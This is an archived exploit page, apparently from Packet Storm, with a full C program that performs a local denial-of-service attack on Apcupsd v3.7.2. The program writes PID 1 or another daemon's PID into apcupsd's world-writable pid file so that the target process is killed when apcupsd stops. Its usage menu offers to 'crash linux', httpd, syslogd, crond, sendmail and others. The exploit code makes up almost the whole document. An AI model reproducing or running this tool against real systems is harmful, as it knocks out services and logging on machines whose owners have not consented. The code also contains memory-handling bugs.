what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

apcupsdos.c

apcupsdos.c
Posted Dec 12, 2000
Authored by The Itch

Apcupsd v3.7.2 local denial of service attack. Can kill any running daemon.

tags | exploit, denial of service, local
SHA-256 | 98d94708575e0137e9354e702878bc24ca1f6d27866f241f5fccddfd8e165f5b

apcupsdos.c

Change Mirror Download
/* Local Denial of Service for any linux box running APCUPSD v3.7.2 
*
* APCUPSD has his pid file world writeable, therefore it is possible
* to let it kill another pid and create a denial of service against any
* running daemon. (when the apcupsd is stopped, or with a reboot etc..)
*
* Bug discovered by: Mattias Dartsch <matze@joonix.de>
* Exploit code by: The Itch / BsE
*
* Greets fly out to: Tasc, C-Murdah, Calimonk, Zer0, Tozz, Pyra,
* Shadowlady, Wildcoyote, Dilusi0n, Zephyr, ph33r-the-b33r and aiko
*/

#include <stdio.h>

#define PIDFILE "/var/run/apcupsd.pid"

/* pid file definition (processes that you can choose from to crash)
* these pid files and their paths came from a redhat distribution
*/

#define HTTPDPID "/var/run/httpd.pid"
#define SYSLOGDPID "/var/run/syslogd.pid"
#define CRONDPID "/var/run/crond.pid"
#define KLOGDPID "/var/run/klogd.pid"
#define INETDPID "/var/run/inetd.pid"
#define IDENTDPID "/var/run/identd.pid"
#define SENDMAILPID "/var/run/sendmail.pid"

int dosusage()
{
printf("----------------------------\n");
printf("\nUsage: ./apcupsdos <number>\n");
printf("where number is either:\n");
printf("1. crash linux\n");
printf("2. crash httpd\n");
printf("3. crash klogd\n");
printf("4. crash crond\n");
printf("5. crash syslogd\n");
printf("6. crash inetd\n");
printf("7. crash indentd\n");
printf("8. crash sendmaild\n\n");
return 0;
}

int main(int argc, char **argv)
{
FILE *apcpid;
FILE *dospidfile;
char *dospid[5];
int dosarg;

printf("\nAPCUPSD can be used to crash any linux distribution\n");
printf("or any other pid running at that moment when apcupsd is\n");
printf("stopped or when it gets normally killed using its pid.\n");
printf("\nCoded by The Itch / Bse\n\n");

if(argc < 2) { dosusage(); exit(0); }
if(atoi(argv[1]) > 8) { dosusage(); exit(0); }
dosarg = atoi(argv[1]);

apcpid = fopen(PIDFILE, "r");
if(!apcpid)
{
printf("%s does not exist\n\n", PIDFILE);
exit(1);
}
fclose(apcpid);

apcpid = fopen(PIDFILE, "w");

if(dosarg == 1)
{
/* crash entire linux */
fprintf(apcpid, "1");
}
if(dosarg == 2)
{
/* crash httpd */
dospidfile = fopen(HTTPDPID, "r");
fgets(dospid[4], 4, dospidfile);
fclose(dospidfile);
fprintf(apcpid, dospid[4]);
}
if(dosarg == 3)
{
/* crash klogd */
dospidfile = fopen(KLOGDPID, "r");
fgets(dospid[4], 4, dospidfile);
fclose(dospidfile);
fprintf(apcpid, dospid[4]);
}
if(dosarg == 4)
{
/* crash crond */
dospidfile = fopen(CRONDPID, "r");
fgets(dospid[4], 4, dospidfile);
fclose(dospidfile);
fprintf(apcpid, dospid[4]);
}
if(dosarg == 5)
{
/* crash syslogd */
dospidfile = fopen(SYSLOGDPID, "r");
fgets(dospid[4], 4, dospidfile);
fclose(dospidfile);
fprintf(apcpid, dospid[4]);
}
if(dosarg == 6)
{
/* crash inetd */
dospidfile = fopen(INETDPID, "r");
fgets(dospid[4], 4, dospidfile);
fclose(dospidfile);
fprintf(apcpid, dospid[4]);
}
if(dosarg == 7)
{
/* crash identd */
dospidfile = fopen(IDENTDPID, "r");
fgets(dospid[4], 4, dospidfile);
fclose(dospidfile);
fprintf(apcpid, dospid[4]);
}
if(dosarg == 8)
{
/* crash sendmail */
dospidfile = fopen(SENDMAILPID, "r");
fgets(dospid[4], 4, dospidfile);
fclose(dospidfile);
fprintf(apcpid, dospid[4]);
}

fclose(apcpid);
printf("DoS activated, its now a matter of time until apcupsd gets\n");
printf("restarted or this box gets rebooted....\n\n");

return 0;
}

/* Remember, there is no cure for BsE */
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close